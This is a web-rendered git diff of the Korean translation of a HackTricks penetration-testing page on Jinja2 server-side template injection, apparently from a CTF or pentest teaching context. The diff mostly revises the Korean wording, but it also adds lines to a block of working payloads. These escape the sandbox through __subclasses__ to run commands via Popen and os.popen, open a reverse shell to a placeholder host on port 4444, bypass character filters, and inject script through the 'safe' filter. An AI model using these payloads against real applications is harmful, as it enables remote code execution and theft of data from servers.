그런 다음, 이러한 객체에서 클래스인 **`<class 'object'>`**에 도달하여 정의된 **클래스**를 **복구**해야 합니다. 이는 이 객체에서 **`__subclasses__`** 메서드를 호출하고 **비샌드박스** 파이썬 환경의 모든 클래스에 **액세스**할 수 있기 때문입니다.
|
||||
|
||||
**해당 객체 클래스**에 액세스하려면 **클래스 객체에 액세스**한 다음 **`__base__`**, **`__mro__()[-1]`** 또는 `.`**`mro()[-1]`**에 액세스해야 합니다. 그런 다음, 이 **객체 클래스**에 도달한 후 **`__subclasses__()`**를 호출합니다.
|
||||
**해당 객체 클래스**에 액세스하려면 **클래스 객체에 액세스**한 다음 **`__base__`**, **`__mro__()[-1]`** 또는 `.`**`mro()[-1]`**에 액세스해야 합니다. 그런 다음, 이 **객체 클래스**에 도달한 후 **`__subclasses__()`**를 **호출**합니다.
|
||||
|
||||
다음 예제를 확인하세요:
|
||||
```python
|
||||
|
@ -123,9 +123,9 @@ dict.__mro__[-1]
|
|||
```
|
||||
### RCE Escaping
|
||||
|
||||
**복구한** `<class 'object'>`을 호출하고 `__subclasses__`를 호출하여 이제 해당 클래스를 사용하여 파일을 읽고 쓰고 코드를 실행할 수 있습니다.
|
||||
**`<class 'object'>`를 복구한 후** `__subclasses__`를 호출하여 해당 클래스를 사용하여 파일을 읽고 쓰고 코드를 실행할 수 있습니다.
|
||||
|
||||
`__subclasses__` 호출로 **수백 개의 새로운 함수에 액세스할 수 있는 기회**가 주어졌으며, **파일 클래스에 액세스**하여 **파일을 읽거나 쓰거나** 또는 `os`와 같이 **명령을 실행하는 클래스에 액세스**할 수 있습니다.
|
||||
`__subclasses__` 호출로 **수백 개의 새로운 함수에 액세스할 수 있는 기회**가 주어졌으며, **파일 클래스에 액세스**하여 **파일을 읽거나 쓰거나** 또는 `os`와 같이 **명령을 실행할 수 있는 클래스에 액세스**할 수 있으면 만족할 것입니다.
|
||||
|
||||
**원격 파일 읽기/쓰기**
|
||||
```python
|
||||
|
@ -138,8 +138,10 @@ dict.__mro__[-1]
|
|||
# The class 396 is the class <class 'subprocess.Popen'>
|
||||
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||
|
||||
# Calling os.popen without guessing the index of the class
|
||||
# Without '{{' and '}}'
|
||||
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() == 'chiv' %} a {% endif %}
|
||||
|
||||
# Calling os.popen without guessing the index of the class
|
||||
{% raw %}
|
||||
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
|
||||
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
||||
|
@ -148,9 +150,11 @@ dict.__mro__[-1]
|
|||
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
|
||||
{% endraw %}
|
||||
|
||||
## Passing the cmd line ?cmd=id, Without " and '
|
||||
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
||||
|
||||
```
|
||||
**더 많은 클래스**를 배울 수 있는 방법을 알아보려면 **다음을 확인**하십시오:
|
||||
**더 많은 클래스**를 알아보려면 **이스케이프**에 사용할 수 있는 **더 많은 클래스**를 알아볼 수 있습니다:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -161,7 +165,7 @@ dict.__mro__[-1]
|
|||
#### 일반적인 우회
|
||||
|
||||
이러한 우회는 **일부 문자를 사용하지 않고** 객체의 **속성에 액세스**할 수 있게 합니다.\
|
||||
우리는 이미 이러한 우회 중 일부를 이전 예제에서 보았지만, 여기서 요약해 보겠습니다:
|
||||
우리는 이미 이러한 우회 중 일부를 이전 예제에서 보았지만, 여기서 그것들을 요약해 보겠습니다:
|
||||
```bash
|
||||
# Without quotes, _, [, ]
|
||||
## Basic ones
|
||||
|
@ -200,7 +204,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**`safe`** 필터를 사용하면 다음과 같이 페이지에 JavaScript 및 HTML을 HTML 인코딩 없이 삽입할 수 있습니다:
|
||||
**`safe`** 필터를 사용하면 페이지에 JavaScript 및 HTML을 HTML 인코딩되지 않고 삽입할 수 있습니다.
|
||||
```python
|
||||
{{'<script>alert(1);</script>'|safe}}
|
||||
#will be
|
||||
|
@ -228,10 +232,10 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
```
|
||||
## **\<class 'object'>** 없이 Jinja 삽입
|
||||
|
||||
[**전역 객체**](jinja2-ssti.md#accessing-global-objects)에서 **그 클래스를 사용하지 않고도 RCE에 도달하는 또 다른 방법**이 있습니다.\
|
||||
전역 객체 중 **어떤 함수**에 접근할 수 있다면, **`__globals__.__builtins__`**에 액세스할 수 있고 거기서 **RCE**는 매우 **간단**해집니다.
|
||||
[**전역 객체**](jinja2-ssti.md#accessing-global-objects)에서는 **그 클래스를 사용하지 않고도 RCE에 도달할 수 있는 또 다른 방법**이 있습니다.\
|
||||
전역 객체 중 **어떤 함수**에 접근할 수 있다면, **`__globals__.__builtins__`**에 액세스할 수 있고 거기서부터 **RCE**는 매우 **간단**해집니다.
|
||||
|
||||
**`request`**, **`config`** 및 **다른** 흥미로운 **전역 객체**에서 **함수를 찾을 수** 있습니다.
|
||||
**`request`**, **`config`** 및 액세스할 수 있는 다른 **흥미로운 전역 객체**에서 **함수를 찾을 수** 있습니다.
|
||||
```bash
|
||||
{{ request.__class__.__dict__ }}
|
||||
- application
|
||||
|
@ -281,14 +285,14 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에서 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter에서 **@carlospolopm**을 팔로우하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **당신의 해킹 트릭을 공유하세요**.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue